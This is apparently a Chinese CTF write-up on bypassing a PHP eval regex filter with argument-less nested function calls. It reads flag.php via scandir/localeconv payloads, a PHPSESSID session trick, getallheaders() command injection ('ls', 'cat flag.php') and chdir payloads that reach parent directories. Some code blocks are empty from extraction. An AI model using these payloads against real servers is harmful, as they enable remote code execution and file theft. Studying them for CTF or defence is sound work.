一.用到的函数
1.preg_replace
1 | preg_replace (正则表达式, 替换成, 字符串, 最大替换次数【默认-1,无数次】, 替换次数) |
2.eval
1 | //eval函数是php里的恶意代码执行,看到eval函数就基本是利用这个eval进行切入。 |
3.scandir()
scandir() 函数返回指定目录中的文件和目录的数组。
用法:scandir(directory,sorting_order,context);
参数 | 描述 |
---|---|
directory | 必需。规定要扫描的目录。 |
sorting_order | 可选。规定排列顺序。默认是 0,表示按字母升序排列。如果设置为 SCANDIR_SORT_DESCENDING 或者 1,则表示按字母降序排列。如果设置为 SCANDIR_SORT_NONE,则返回未排列的结果。 |
context | 可选。规定目录句柄的环境。context 是可修改目录流的行为的一套选项。 |
1 | //列出images目录的文件和目录 |
4.localeconv()
可以用来构造”.”,localeconv() 会返回当地的金融信息的数组,而第一个元素即为点。
构造方法只需取第一个元素即可pos()、current()
均可
1 |
|
5.pos()
pos() 函数是返回数组中的当前元素的值。
该函数是 current() 函数的别名。
每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。
提示:该函数不会移动数组内部指针。
相关的方法:
- current() - 返回数组中的当前元素的值
- end() - 将内部指针指向数组中的最后一个元素,并输出
- next() - 将内部指针指向数组中的下一个元素,并输出
- prev() - 将内部指针指向数组中的上一个元素,并输出
- reset() - 将内部指针指向数组中的第一个元素,并输出
- each() - 返回当前元素的键名和键值,并将内部指针向前移动
6.localtime()
以数值数组和关联数组的形式输出本地时间:
因为localtime的第46秒对应的ASCII 值是”.”,所以可以用来构造”.”(和chr()函数配合使用就可以构造”.”)
1 | localtime(timestamp,is_assoc); |
参数 | 描述 |
---|---|
timestamp | 可选。规定 Unix 时间戳。如果未规定 timestamp,则默认为当前的本地时间 time()。 |
is_assoc | 可选。规定返回关联数组还是索引数组。如果为 FALSE,则返回索引数组。如果为 TRUE,则返回关联数组。默认为 FALSE。关联数组的键名如下:[tm_sec] - 秒数[tm_min] - 分钟数[tm_hour] - 小时[tm_mday] - 月份中的第几天[tm_mon] - 年份中的第几个月,从 0 开始表示一月份[tm_year] - 年份,从 1900 开始[tm_wday] - 星期中的第几天 (Sunday=0)[tm_yday] - 年中的第几天[tm_isdst] - 夏令时当前是否生效 |
7.char()
chr() 函数从指定的 ASCII 值返回字符。
ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置 0,而十六进制值被定义为带前置 0x;
1 |
|
8.show_source()
对文件进行语法高亮显示。
本函数是 highlight_file() 的别名。
1 | show_source(filename,return) |
参数 | 描述 |
---|---|
filename | 必需。要进行高亮处理的 PHP 文件的路径。 |
return | 可选。如果设置 true,则本函数返回高亮处理的代码。 |
1 | <html> |
9.strpos()
查找字符串在另一字符串中第一次出现的位置。此函数对大小写敏感
1 | strpos(string,find,start) |
参数 | 描述 |
---|---|
string | 必需。规定要搜索的字符串。 |
find | 必需。规定要查找的字符串。 |
start | 可选。规定在何处开始搜索。 |
1 |
|
相关函数:
- stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
- strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
- strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
二、无参数RCE题目问题
1 |
|
1.code传参
这个正则匹配是匹配字符串+()
看到有eval函数,就从这里切入,传参给code。而正常带参数的函数会被正则匹配过滤掉,所以用嵌套函数。
使用scandir(.)获取当前目录
因为这里有正则过滤,所以scandir的”.”要用其他的函数来构造出来。这里有两种方法
1 |
|
使用end读取最后一个文件名
1 | var_dump(end(scandir(pos(localeconv())))); |
使用readfile读取flag.php
1 | var_dump(readfile(end(scandir(pos(localeconv()))))); |
2.利用session传参
session和cookie的功能作用相同,区别在于session记录在服务端,cookie作用在客户端。
session有两种实现方式,一种是通过cookies实现(把session的id放在cookie里面),另一种是通过重写URL实现(当浏览器不支持cookie的时候就会使用这种方式实现session)
1 | show_source(session_id(session_start())); |
第一步,将show_source(session_id(session_start()));传进code
第二步,用HackBar将PHPSESSID=flag.php传进去,就得到了flag
3.利用getallheaders()
来获取参数RCE
1 | getallheaders();//取得所有HTTP请求标头 |
在请求那里输入ls,读取目录。可以看到读到了三个文件
输入cat flag.php就可以读取flag
跳转目录情况
如果遇到flag在上层目录文件的情况,我们需要跳转到上层目录。
chdir()
函数当参数为两个点的时候能够跳转到上层目录。scandir()
,读取当前目录在第二个元素就能读取两个点1
2
3
4//参数为一个点的时候读取根目录。
scandir(pos(localeconv()))
或scandir(chr(pos(localtime()))localtime第一个参数是时间戳,所以我们不能直接嵌套,需要带一个time函数作为嵌套、time函数能够返回时间戳
构造读取上层目录payload
1 | echo(implode(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))); |
- 构造读取上层目录文件payload
1 | echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))))); |
其他小技巧
利用三角函数构造斜杠
1 | chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))); |
- 利用随机令牌构造点
1 | echo(implode(scandir(chr(strrev(uniqid()))))); |
小结
1 | getchwd() 函数返回当前工作目录。 |